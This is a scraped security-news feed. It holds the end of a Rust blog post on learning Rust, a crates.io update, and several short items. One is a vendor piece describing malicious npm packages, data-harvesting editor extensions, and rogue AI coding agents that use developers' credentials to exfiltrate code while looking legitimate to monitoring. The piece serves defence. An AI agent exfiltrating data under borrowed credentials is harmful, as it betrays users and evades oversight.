<p>We think it could be an interesting area of future study to check into the patterns Rust programmers employ at different levels of experience and under which circumstances. One member of the Rust Vision doc team that's very experienced with Rust noted that there's kind of an "expected shape" they understand as passing the compiler. This knowledge influences how they approach writing code which wouldn't take that shape and they naturally find themselves understanding when to use so-called workarounds, such as passing around indices into arrays or <code>Vec</code>s.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#multi-paradigm-but-not-the-oop-some-are-used-to"></a>
Multi-paradigm, but not the OOP some are used to</h3>
<p>The Rust programming language is multi-paradigm, and how that lands depends on what you're coming from. We heard some that came from a functional background were delighted with digging into learning how much Rust inherits from that lineage. Some others noted that they and others on their teams struggled to unlearn the object-oriented style they'd come to use heavily in other languages like C++ and Java.</p>
<blockquote>
<p>"Developers coming from C++ tend to think object-oriented. I think that's a difference between C++ and Rust." -- Architect at Automotive OEM</p>
</blockquote>
<blockquote>
<p>"I had exactly that thing, where I would apply all my years of Java and JS thinking, where I could just create some object, not care about it, return it, have it sloshing around between various functions. Found myself reaching for these patterns and then being told 'no, you cannot do that'." -- Principal Engineer at a SaaS company</p>
</blockquote>
<p>Developers coming from functional programming had less to unlearn: strong typing, pattern matching, and an expression-oriented style were already familiar.</p>
<blockquote>
<p>"My background has been more functional programming, strong typing. That originated for me as a Lisper: once a Lisper, always a Lisper." -- Principal Software Engineer working on Rust tooling for safety-regulated industries</p>
</blockquote>
<blockquote>
<p>"The languages I primarily used before Rust were things like OCaml. Way back, I came from C and C++, the classic languages, and then I spent quite a long time doing primarily pure functional stuff. These days I've ended up back in what I like to think of as a pragmatic center ground [with Rust]." -- Fractional CTO</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#teaching-rust-in-academia"></a>
Teaching Rust in academia</h3>
<p>We spoke with a university professor that's been teaching Rust generally. In the academic environment, they were able to use proxies for some things such as "traits are like interfaces in Java" because the students had already gone through a set of courses in their first and second years that taught them Java. They introduced concepts slowly throughout the course, choosing to deal with some more complex topics like generics later. The outcome generally was that students had no problem picking up Rust in this setting.</p>
<blockquote>
<p>"I couldn't see any big difference on the embedded side. We also teach an embedded class, and we did an experiment. Half of the students' feedback was worse on the Rust class, mostly because they needed to build the project themselves. The C students just got one from [an LLM], absolutely no problem." -- University Professor, on teaching Rust</p>
</blockquote>
<p>The C cohort leaned on LLMs for the project in ways the Rust cohort couldn't. We don't yet have a clear answer for why.</p>
<p>What did come through clearly was the Rust cohort's experience with the community. Some students needed to figure out which drivers to use for the embedded project and how to use them. Their professor encouraged them to open issues and ask questions directly on GitHub, and the maintainers responded. Students who had never contributed to open source before were getting answers from the people who wrote the code.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-using-llms"></a>
Learning using LLMs</h3>
<p>Some experienced folks shared that they saw LLMs as a tool that can help someone come up to speed quickly, either as a research tool or for generating example Rust code to understand concepts.</p>
<blockquote>
<p>"I'm optimistic that there's a way to work [LLMs] in that will cut down that learning curve. One of the big things these tools bring is reducing the learning curve in general; these are very good tools to help you navigate a space that you don't know yet." -- Maintainer of large open source Rust crate</p>
</blockquote>
<blockquote>
<p>"I try [LLMs] out once a month, usually for generating an example or something like this. Just like with Stack Overflow: when you read an example, you should read it carefully and try to understand it. Not copy and paste it, but type it in your own words in code and then check it, because that's where the teeny tiny little mistakes are." -- Founder of startup built on Rust</p>
</blockquote>
<p>For some learners, an LLM is just another way to find answers, no different than a search engine.</p>
<blockquote>
<p>"So for the most part, picking up Rust - how do I learn? I'll [use web search for] things, I'll ask [an LLM], I'll just poke around and read the code." -- Senior Software Engineer working in a regulated space</p>
</blockquote>
<p>One founder went further and claimed that LLMs change who can become a Rust developer. One consulting company founder described hiring high school graduates with no systems programming background and training them as Rust developers, with LLMs filling in the learning gaps that would previously have required years of experience.</p>
<blockquote>
<p>"At the beginning, I was worried, but now that we have [LLMs] supporting development, the difficulty of the language doesn't matter. I'm seeing a huge opportunity behind strong runtime languages like Rust. [..] In [Developing Country] we hire 20-25 high school graduates, train them to be Rust programmers, then they enhance our workforce worldwide." -- Founder of a consulting company</p>
</blockquote>
<p>We heard this from one organization. This is a claim that the combination of Rust's compiler and LLM tooling can dramatically shorten the path from beginner to working developer. Whether it generalizes depends on questions we can't answer from a single interview: how long these developers stay, what kind of code they can maintain independently, and whether this training/learning model works outside this company's particular structure. If it holds up, the pool of people who can become Rust developers is much larger than the usual hiring profile suggests.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#organizational-considerations-for-rust-learners"></a>
Organizational considerations for Rust learners</h3>
<p>We spoke with a number of folks on teams that are using Rust in larger organizations. Teams wanted to know that everyone would end up at roughly the same level of competence, which led a good number to invest in training courses to get there. Some leaders found that staff was able to ramp well enough by reading The Rust Programming Language, going through Rustlings, and then picking up lower risk and priority tickets to work on. Having a sense of community was also important within companies; it helps people know they are not alone when they are asked to work on Rust after, say, a reorganization happens.</p>
<blockquote>
<p>"[..] the idea with the class as opposed to 'just read the Rust book on your own' was that this gives everyone kind of the same baseline going in."  -- Principal Firmware Engineer (mobile robotics)</p>
</blockquote>
<blockquote>
<p>"So typically we're going to have people work through Rustlings, work through The Rust Programming Language. We have them then start to pick up lower risk tickets to work on." -- Principal Engineer at a large SaaS provider</p>
</blockquote>
<blockquote>
<p>"We've got an internal Slack channel for Rust learning where people can drop questions and others will come in and answer them. That helps build up understanding and community." -- Software Engineer at a large corporation</p>
</blockquote>
<p>Some organizations found that while the person they'd hire would need to learn Rust, it was still preferable to the alternative of hiring someone for a critical piece of software written in another language.</p>
<blockquote>
<p>"They needed to grow and maintain this C++ codebase. They had a C++ wizard, and they tried for about two years to find someone with the same level of expertise. They ended up hiring people that didn't know Rust and ramping them up, creating FFI bindings from the C++ side so they could work in Rust. And you can feel it: the borrow checker is teaching these people the right way to handle their systems." -- Principal Engineer at an Automotive OEM</p>
</blockquote>
<p>The community and helping each other aspect seems to grow bonds as organizations mature.</p>
<blockquote>
<p>"Our team is [all about] mentorship. I've mentored people coming up to speed on Rust, and people help each other hugely." -- Principal Software Engineer at a large SaaS company</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#silent-attrition"></a>
Silent attrition</h3>
<p>We identified some cases where people have approached Rust and bounced off of it, for one reason or another. In the below case, someone with a background in a language with fewer guardrails found themselves frustrated enough with Rust to walk away.</p>
<blockquote>
<p>"All of that means that that embedded ecosystem is very frustrating to somebody who comes from C and is like, why can't I just get a pointer to this peripheral and then write into the registers. What are you doing to me? [..] My friend never got over that. He looked at it and said, I'm not going to deal with this and walked away." -– A second University Professor</p>
</blockquote>
<p>There may be language features that for a particular domain are not seen as comfortable or usable yet, such as async Rust usage in a safety domain. We'd like to map which language features feel off-limits in which domains; async in safety-critical work probably isn't the only case.</p>
<blockquote>
<p>"We're not fully sure how async [Rust] will work out in the long run in our domain. [..] People don't feel comfortable yet since C++14 doesn't provide such concepts. [..] It's the chicken-and-egg problem again: we probably need to gain some experience to see whether we can actually benefit from these new concepts in the automotive and safety domains." -- Team Lead at Automotive Supplier (ASIL D target)</p>
</blockquote>
<p>We heard in at least one case, that while the language was challenging and there was a near bounce, the tooling helped keep them coming back and trying.</p>
<blockquote>
<p>"Well, I think my early impressions of Rust - one is I find C++ so intimidating, and I think a big part of why I was able to succeed at [..] learning Rust is the tooling. I mean, all this makes sense [..] but it's like, for me, getting started with Rust, the language was challenging, but the tooling was incredibly easy." -- Founder of another startup built on Rust</p>
</blockquote>
<p>While it might be considered more of a community concern, if there are interactions online and in spaces that point to learners having
so-called "skill issues" this feeds into the narrative that Rust must be hard to learn. We may be unintentionally turning away Rust Project contributors and maintainers due to the vibes being put out when new learners show up in certain spaces.</p>
<blockquote>
<p>"People are very helpful, but generally the attitude is: if your program is very complicated, it's mostly a skill issue. There's not that much empathy when people get stuck learning, and a lot of people are just pushed away by it. There's probably a huge number of people who silently stop wanting to write Rust, because at some point it gets complicated and the feedback they get is 'you just need to be a better programmer, obviously'." -- Software Engineer at a SaaS Provider</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#feedback-on-near-bounces-from-survey"></a>
Feedback on near-bounces from survey</h4>
<p>We found a few interesting perspectives collected in the Rust Vision doc survey which we administered with examples of bouncing and coming back:</p>
<blockquote>
<p>"I started before 1.0, got stuck very soon when trying to translate patterns from C++ to Rust (due to borrow checking). I tried again after 1.0 and it stuck. [..]" -- Survey Respondent A</p>
</blockquote>
<p>Survey Respondent A went on to share in a more detailed response about a perceived weakness in Rust learning materials related to lifetimes and the borrow checker are explained. There was an observation that it's fairly easy to run into more complex situations with lifetimes and the borrow checker. They felt that the current state of this sort of material and tutorials is fairly superficial and can leave learners stuck when they run into those more complex situations.</p>
<p>One respondent that bounced once and came back shared challenges around usage of async. In concert with Rust's memory-safety and the borrow checker, they found some of the nitty-gritty details of async were difficult to learn. While we're aware of the Rust Project's continuous efforts to improve Rust's async story, this is another data point of a user that faced challenges.</p>
<p>Another survey respondent shared how they had multiple times bounced in trying to learn Rust. They returned after a year or so and found Rustlings to be highly motivating. We note that having multiple pathways for folks to learn Rust opens up more possibilities for those that nearly bounced, just like this person.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#need-more-focused-work-on-silent-attritrion"></a>
Need more focused work on silent attritrion</h4>
<p>The thing that stood out most to us was the lack of real, first-hand knowledge of having bounced when learning Rust. While this is an obvious effect of soliciting answers to our survey and opportunities to interview through Rust channels and our networks, this cohort is good future candidate where interviews could start.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#conclusions"></a>
Conclusions</h3>
<p>Across these conversations, the experience of learning Rust depended heavily on context. Why someone was learning and what support they had mattered as much as the borrow checker. The same kinds of examples kept coming up: a training course that got a team to a shared baseline, a maintainer answering a student's first GitHub issue, and a colleague whose code showed that cloning was okay.</p>
<p>That context is largely something the community has a hand in. With that in mind, here is what we take away from what we heard, and what we still don't know.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#what-seems-worth-trying"></a>
What seems worth trying</h4>
<p><strong>Learning materials aimed at unlearning.</strong> Syntax barely came up when people described their struggles. People struggled with unlearning habits from previous languages, whether OOP structuring from C++ and Java or the instinct to grab a raw pointer to a peripheral. Most of our learning materials teach Rust from first principles, and that works. What we didn't come across is much written for, say, the engineer with ten years of Java who lands on a Rust team after a reorg: material that names the patterns they'll reach for that won't transfer, and shows what to do instead. The professor we spoke with did a version of this in the classroom, leaning on "traits are like interfaces in Java" and saving generics for later in the course, and the students did fine. Something similar could work outside the classroom too.</p>
<p><strong>Put the "clone freely while you're learning" advice somewhere official.</strong> Every experienced developer we spoke with gave the same advice, but learners seem to mostly pick it up by accident, like the researcher who happened to see someone else cloning the struct they had been carefully threading lifetimes through. Saying it early in official materials would take some of the steepness out of the curve. The broader version belongs there too: idiomatic Rust doesn't have to mean optimal Rust, especially on a first project.</p>
<p><strong>Diagnostics are already a primary learning resource: several people told us the compiler taught them lifetimes before any documentation did.</strong> Diagnostics reach learners right at the moment they're stuck. When writing new ones, it seems worth keeping the confused newcomer in mind alongside the expert, because for a lot of people this is where the learning happens.</p>
<p><strong>Is "the book" actually out of date?</strong> Whether or not The Rust Programming Language or other materials are actually behind, a team evaluating Rust looked at its repository, saw unresolved issues and unmerged PRs, and moved on. As more companies evaluate adoption, more people will look at these materials with the same fresh eyes. Visible issue triage and some communication about what's current and what's planned would address the perception, separately from whatever content work may or may not be needed.</p>
<p><strong>How stuck learners get treated is shaping who stays.</strong> We heard about students getting answers on GitHub from the maintainers who wrote the code, and we heard about learners being told their struggles were a skill issue. The first group came away with a lasting good impression of Rust. Some of the second group walked away entirely, and because they leave quietly, it's easy to underestimate how many of them there are. The welcoming side of the community came up unprompted as a reason people stayed, so we know it makes a difference when we get this right.</p>
<p><strong>Every organization we spoke with described essentially the same ramp-up for bringing a team to Rust.</strong> Teams that brought groups of developers to Rust described roughly the same approach: get everyone to a shared baseline with a training course or with The Rust Programming Language and Rustlings, start people on lower-risk tickets, and give them somewhere internal to ask questions. Several organizations also found that hiring developers without Rust experience and ramping them up worked out better than continuing to search for rare expertise in another language. None of this is complicated, and teams weighing adoption don't need to invent a training program from scratch.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#what-we-still-don-t-know"></a>
What we still don't know</h4>
<p>The biggest gap is the people we didn't reach. Nearly everyone we spoke with stuck with Rust long enough to be reachable through Rust channels, so the stories of bouncing off came to us second-hand: a friend who walked away from embedded Rust, colleagues who quietly stopped after the responses they got. As we wrote in <a href="https://blog.rust-lang.org/2025/12/03/lessons-learned-from-the-rust-vision-doc-process/" rel="external">our first post</a>, finding people who decided against Rust takes targeted outreach. If the proposed User Research team comes together, talking with learners who bounced would make a good early project, and learning is probably the area where that research would teach us the most.</p>
<p>We also don't know what to make of LLMs as a learning tool yet. They came up as a search engine, as an example generator, and in one organization's case as something that makes training high school graduates into working Rust developers possible. We saw a classroom where the C cohort leaned on LLMs in ways the Rust cohort couldn't, and we don't have an explanation for it. All of this comes from a handful of conversations, so we treat it as a set of leads to follow up on. Given how quickly the tools are changing, it seems better to study this deliberately than to wait and see what folklore develops.</p>
<p>The folks we spoke with showed that people do get there: with enough passes through the materials and enough code written, it eventually clicks. The opportunities above are mostly about making it work for the people who didn't pick Rust on purpose, and for the ones who would have stuck around if their early experience had gone a little differently.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Rust Programming Language Blog: crates.io: development update]]></title>
<description><![CDATA[Another six months have passed since our last development update, and the crates.io team has been busy. Here's a summary of the most notable changes and improvements made to crates.io since then.

Source Code Viewer
Crate pages now have a "Code" tab that lets you browse the contents of published ...]]></description>
<link>https://tsecurity.de/de/3693285/tools/the-rust-programming-language-blog-cratesio-development-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693285/tools/the-rust-programming-language-blog-cratesio-development-update/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:18 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Another six months have passed since our <a href="https://blog.rust-lang.org/2026/01/21/crates-io-development-update/" rel="external">last development update</a>, and the crates.io team has been busy. Here's a summary of the most notable changes and improvements made to <a href="https://crates.io/" rel="external">crates.io</a> since then.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#source-code-viewer"></a>
Source Code Viewer</h3>
<p>Crate pages now have a "Code" tab that lets you browse the contents of published crate versions directly on crates.io. This shows you the exact files that <code>cargo</code> downloads when you add a crate as a dependency, which might differ from the linked repository. This makes it much easier to audit your dependencies, including files that never appear in the repository, like the normalized <code>Cargo.toml</code> files that <code>cargo</code> generates.</p>
<p><img alt='Source code viewer showing the "Code" tab of the serde crate' src="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/code-tab.png"></p>
<p>The viewer comes with a file tree sidebar with search functionality, syntax highlighting, and GitHub-style line selection, where clicking or dragging line numbers produces shareable <code>#L10-L20</code> URLs.</p>
<p>Under the hood, the server now builds a zip file for every published version. Since the <code>.crate</code> files that <code>cargo</code> consumes are gzipped tarballs without random access support, a background job re-packs each of them into a seekable zip archive plus a JSON manifest describing the contained files. Both are served from our static CDN. The frontend then fetches only the manifest and loads each file on demand with an HTTP range request. Because of this architecture, browsing crate sources essentially adds no load on the crates.io API servers. Existing crate versions have been backfilled, so this works for old releases too.</p>
<p>The rendering library behind the code viewer is a diff renderer at heart, and that's no accident: a version-to-version diff viewer built on the same infrastructure is currently in the works. This will allow you to review exactly what changed between two published versions, right on crates.io. Stay tuned!</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#untangling-crates-io-accounts-from-github"></a>
Untangling crates.io Accounts from GitHub</h3>
<p>At the end of May, the crates.io team accepted <a href="https://github.com/rust-lang/rfcs/pull/3946" rel="external">RFC #3946</a>. Crates.io accounts always have been tightly coupled to GitHub: signing in means "Log in with GitHub", and your crates.io identity is your GitHub username. The RFC changes that. It introduces usernames that are native to crates.io and independent of linked GitHub accounts, as a prerequisite for eventually supporting login via other identity providers.</p>
<p>The implementation of crates.io usernames has started, but there is still a lot left to do, most visibly the ability to change your crates.io username. After that is complete, there will be future RFCs and implementation for signing in with identity providers other than GitHub. Since all of this touches authentication and account security, we are deliberately taking it slow and rolling these changes out in small, carefully reviewed steps.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#advisories-and-suggestions"></a>
Advisories and Suggestions</h3>
<p>In our <a href="https://blog.rust-lang.org/2026/01/21/crates-io-development-update/" rel="external">January update</a> we introduced the "Security" tab, which shows security advisories from the <a href="https://rustsec.org/" rel="external">RustSec</a> database. We have since taken this integration one step further: crates that RustSec has flagged as unmaintained now show a warning banner directly on their crate pages, linking to the corresponding advisory for details and possible alternatives. Thanks to <a href="https://github.com/djc" rel="external">Dirkjan Ochtman</a> for implementing this feature!</p>
<p><img alt="Unmaintained warning banner on the ansi_term crate page" src="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/unmaintained-banner.png"></p>
<p>Related to this, some popular crates have been largely absorbed into the Rust standard library over the years, like <code>lazy_static</code>, which has been superseded by <code>std::sync::LazyLock</code> since Rust 1.80. Crate pages of such crates now show a friendly "You might not need this dependency" banner describing the standard library replacement, and superseded crates in dependency lists get a small light bulb icon with a similar hint.</p>
<p><img alt='"You might not need this dependency" banner on the lazy_static crate page' src="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/std-replacement-banner.png"></p>
<p>The dataset behind this feature lives in the new <a href="https://github.com/rust-lang/std-replacement-data" rel="external">rust-lang/std-replacement-data</a> repository, together with a documented inclusion policy: standard library replacements only, every entry must cite the stable <code>std</code>, <code>core</code>, or <code>alloc</code> API and Rust version, and crate maintainers get a notice-and-comment window before an entry is added. New entries can be proposed upstream and can benefit other tools too.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#ferris"></a>
Ferris</h3>
<p>The most delightful change of this cycle: the Ferris on our error pages now follows your mouse cursor with its eyes:</p>
<p><img alt="Ferris' eyes following the mouse cursor on the error page" src="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/ferris.gif"></p>
<p>Getting a 404 error on crates.io is now slightly less sad.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#svelte-frontend-migration-completed"></a>
Svelte Frontend Migration Completed</h3>
<p>In our <a href="https://blog.rust-lang.org/2026/01/21/crates-io-development-update/" rel="external">January update</a>, we announced that we were experimenting with porting the crates.io frontend from Ember.js to <a href="https://svelte.dev/" rel="external">Svelte</a>. This experiment has concluded successfully: the new frontend reached feature parity, went through a <a href="https://blog.rust-lang.org/inside-rust/2026/04/17/crates-io-svelte-public-testing/" rel="external">public testing phase</a> in April, became the default at the beginning of May, and the Ember.js app has been removed from our repository.</p>
<p>We designed this change to be invisible for our users, since the new frontend is a 1:1 port of the previous design and functionality. For the team and our contributors, however, it is a big deal: the frontend is now built on a more modern framework, which should make it easier for new contributors to get started. It also allows us to iterate faster, as the source code viewer above demonstrates.</p>
<p>We want to thank the <a href="https://emberjs.com/teams/" rel="external">Ember.js team</a> for a framework that served crates.io well for many years, and the Svelte team for making the transition so enjoyable.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#miscellaneous"></a>
Miscellaneous</h3>
<p>These were some of the more visible changes to crates.io over the past six months, but a lot has happened "under the hood" as well:</p>
<ul>
<li>
<p><strong>Search performance</strong>: Relevance-sorted search queries previously ranked every crate matching the query, which could take 1-2 seconds for short or common search terms. Ranking is now bounded to the 1,000 matching crates with the highest recent download counts.</p>
</li>
<li>
<p><strong>Reverse dependencies performance</strong>: The reverse dependencies endpoint no longer recomputes the full dependent set on every request. It is now served from a precomputed table kept in sync by database triggers, turning an expensive join into a bounded index scan and greatly reducing the chance of getting a timeout error.</p>
</li>
<li>
<p><strong>New ARCHITECTURE.md</strong>: If you've ever wondered how crates.io actually works, our <a href="https://github.com/rust-lang/crates.io/blob/main/docs/ARCHITECTURE.md" rel="external"><code>ARCHITECTURE.md</code></a> document got a complete rewrite. It is now organized around the high-level systems that make up crates.io and how they fit together, and includes walkthroughs of what happens when you run <code>cargo publish</code>, why a typical crate download never touches our API servers, and how download counts are derived from CDN access logs.</p>
</li>
<li>
<p><strong>Definition lists</strong>: READMEs now render Markdown <a href="https://github.com/rust-lang/crates.io/pull/13950" rel="external">definition lists</a>, a widely used Markdown extension. Our markdown renderer <a href="https://crates.io/crates/comrak" rel="external">comrak</a> already supported them, the extension just wasn't enabled yet. Thanks to <a href="https://github.com/mistaste" rel="external">@mistaste</a> for this contribution!</p>
</li>
<li>
<p><strong>CDN cache tags</strong>: Files uploaded to our static CDN now carry cache-tag metadata, allowing us to invalidate all cached files of a crate or a specific release in a single operation, instead of issuing one invalidation per file URL.</p>
</li>
<li>
<p><strong>Caching improvements</strong>: We removed a global <code>Vary: Cookie</code> response header that was preventing our CDNs from caching public API responses and frontend assets effectively. Per-user responses now use <code>Cache-Control: no-store</code> instead, resulting in better cache hit rates at the CDN edge.</p>
</li>
<li>
<p><strong>Accessibility</strong>: We have made crates.io friendlier to screen readers: decorative icons are now hidden from the accessibility tree, heading hierarchies have been fixed, and lists are marked up as proper lists. ARIA snapshot tests now ensure that regressions can't slip in unnoticed. We plan to continue to improve crates.io accessibility over the coming months.</p>
</li>
<li>
<p><strong>Git index performance</strong>: The background worker's local clone of the git index is now a bare and shallow repository, eliminating roughly 250,000 checked-out files and the full commit history from its disk, improving its performance as we see increased rates of crate publication. The periodic index squashing now goes through the GitHub API instead of generating large git packs locally, which had previously caused out-of-memory failures on the production worker.</p>
</li>
</ul>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/07/13/crates-io-development-update/#feedback"></a>
Feedback</h3>
<p>We hope you enjoyed this update on the development of crates.io. If you have any feedback or questions, please let us know on <a href="https://rust-lang.zulipchat.com/#narrow/stream/318791-t-crates-io" rel="external">Zulip</a> or <a href="https://github.com/rust-lang/crates.io/discussions" rel="external">GitHub</a>. We are always happy to hear from you and are looking forward to your feedback!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why AI Needs a “Genie Coefficient”]]></title>
<description><![CDATA[This essay was written with Barath Raghavan, and originally appeared in IEEE Spectrum.
Major benchmarks measure what AI can do. None measure whether it does what you mean: the distance between what you ask an AI to do and the unspoken assumptions about how you want the AI to do it. We propose a n...]]></description>
<link>https://tsecurity.de/de/3693275/reverse-engineering/why-ai-needs-a-genie-coefficient/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693275/reverse-engineering/why-ai-needs-a-genie-coefficient/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:58 +0200</pubDate>
<category>🕵️ Reverse Engineering</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>This essay was written with Barath Raghavan, and originally appeared in <a href="https://spectrum.ieee.org/ai-agent-benchmark">IEEE Spectrum</a>.</em></p>
<p>Major benchmarks measure what AI can do. None measure whether it does what you mean: the distance between what you ask an AI to do and the unspoken assumptions about how you want the AI to do it. We propose a new metric: the Genie coefficient.</p>
<p>There’s often a gap between one person’s request and another’s understanding. Most of the time, we bridge it using general knowledge. For example, if you ask a friend to get you coffee, they’ll pour a cup from the pot or buy one from a coffee shop. They won’t bring you a bag of raw beans or snatch a cup from a stranger and hand it to you. You never specified any of this. You never had to...</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[I tested a $14 emergency radio with solar and hand-crank power - it's in my survival kit now]]></title>
<description><![CDATA[AM/FM, NOAA weather band, solar and hand-crank charging, and a power bank - this tech is what actually works when the grid doesn't.]]></description>
<link>https://tsecurity.de/de/3693073/it-nachrichten/i-tested-a-14-emergency-radio-with-solar-and-hand-crank-power-its-in-my-survival-kit-now/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693073/it-nachrichten/i-tested-a-14-emergency-radio-with-solar-and-hand-crank-power-its-in-my-survival-kit-now/</guid>
<pubDate>Sat, 25 Jul 2026 06:04:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[AM/FM, NOAA weather band, solar and hand-crank charging, and a power bank - this tech is what actually works when the grid doesn't.]]></content:encoded>
</item>
<item>
<title><![CDATA[Statt teurer Webcam: Warum euer Smartphone die beste Wahl für Video-Calls ist]]></title>
<description><![CDATA[Wenn die eingebaute Laptop-Kamera mal wieder nur ein verpixeltes Bild liefert oder gar keine Webcam zur Hand ist, müsst ihr nicht gleich Geld für neue Hardware ausgeben. Die beste Kamera habt ihr nämlich meist schon in der Hosentasche: euer Smartphone! Wir zeigen euch, wie ihr euer Android-Handy ...]]></description>
<link>https://tsecurity.de/de/3693050/downloads/statt-teurer-webcam-warum-euer-smartphone-die-beste-wahl-fuer-video-calls-ist/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693050/downloads/statt-teurer-webcam-warum-euer-smartphone-die-beste-wahl-fuer-video-calls-ist/</guid>
<pubDate>Sat, 25 Jul 2026 05:14:52 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Wenn die eingebaute Laptop-Kamera mal wieder nur ein verpixeltes Bild liefert oder gar keine Webcam zur Hand ist, müsst ihr nicht gleich Geld für neue Hardware ausgeben. Die beste Kamera habt ihr nämlich meist schon in der Hosentasche: euer Smartphone! Wir zeigen euch, wie ihr euer Android-Handy oder iPhone ganz einfach als hochwertige Webcam für PC und Mac nutzt.]]></content:encoded>
</item>
<item>
<title><![CDATA[5 endpoint blind spots your EDR/XDR was never built to see]]></title>
<description><![CDATA[In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.



That was enough. Over 86,000 downloads. Malicious code in PhantomRaven, packages running in the production systems of Fort...]]></description>
<link>https://tsecurity.de/de/3692679/it-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692679/it-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</guid>
<pubDate>Sat, 25 Jul 2026 00:18:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.</p>



<p class="wp-block-paragraph">That was enough. Over 86,000 downloads. Malicious code in <a href="https://www.koi.ai/blog/phantomraven-npm-malware-hidden-in-invisible-dependencies" target="_blank" rel="noreferrer noopener">PhantomRaven</a>, packages running in the production systems of Fortune 500 companies worldwide. And throughout the entire window, not a single EDR/XDR alert.</p>



<p class="wp-block-paragraph">This happened because the attack surface has expanded to a layer EDR/XDR was never designed to see: VS Code extensions, local MCP servers, and rogue AI coding assistants that inherit your engineers’ valid credentials to steal data at machine speed.</p>



<p class="wp-block-paragraph">To eliminate this structural vulnerability, Palo Alto Networks acquired Koi, an AI-native developer security product engineered for proactive, precision enforcement. Below we compiled a 2026 CISO checklist you can use to audit your environment and see how Koi automates each defense from day one.</p>



<p class="wp-block-paragraph"><strong>#1. Gain real-time visibility into shadow AI &amp; extensions</strong></p>



<p class="wp-block-paragraph">Your existing asset management tracks binaries and installers, but it cannot see local VS Code extensions, MCP servers, or ad-hoc Python scripts running on developer endpoints. This visibility gap was recently exposed by the <a href="https://www.koi.ai/blog/maliciouscorgi-the-cute-looking-ai-extensions-leaking-code-from-1-5-million-developers" target="_blank" rel="noreferrer noopener">MaliciousCorgi campaign</a>, where two marketplace extensions with 1.5 million combined installs silently harvested every file a developer opened. Neither triggered any detection because they were not binaries, not executables, not anything your inventory was built to flag. To counter this, Koi closes the gap by analyzing what extensions actually do after installation, exposing hidden data-harvesting channels running inside your active workspace.</p>



<p class="wp-block-paragraph"><strong>#2. Distinguish between human and autonomous agent behavior </strong></p>



<p class="wp-block-paragraph">When a rogue AI agent exfiltrates your proprietary source code, it uses a developer’s valid credentials during normal working hours, making the session look entirely legitimate to standard XDR baselines. Moving beyond static permission lists, Koi deploys behavioral profiling within the workspace runtime. By actively intercepting unauthenticated background tasks and blocking unauthorized file-system reads, it stops automated data exfiltration in real time.</p>



<p class="wp-block-paragraph"><strong>#3. Establish guardrails for automated package updates on endpoints</strong></p>



<p class="wp-block-paragraph">Developers prioritize speed, often allowing software packages to auto-update on their endpoints the moment a new version appears. Attackers weaponize this supply chain vulnerability, as seen in the May 2026 Team PCP attack where 3,800 GitHub repositories were compromised in just 36 minutes via poisoned auto-updates. Securing agentic endpoints against these rapid breaches requires behavior-based inspection within the active workspace context. Koi operates at this layer by providing safe deployment buffers that automate version cooldowns, blocking bleeding-edge updates until they are vetted. By continuously auditing process creation within the IDE runtime, Koi instantly drops unauthorized remote connections before malicious payloads can exfiltrate credentials from the endpoint.  </p>



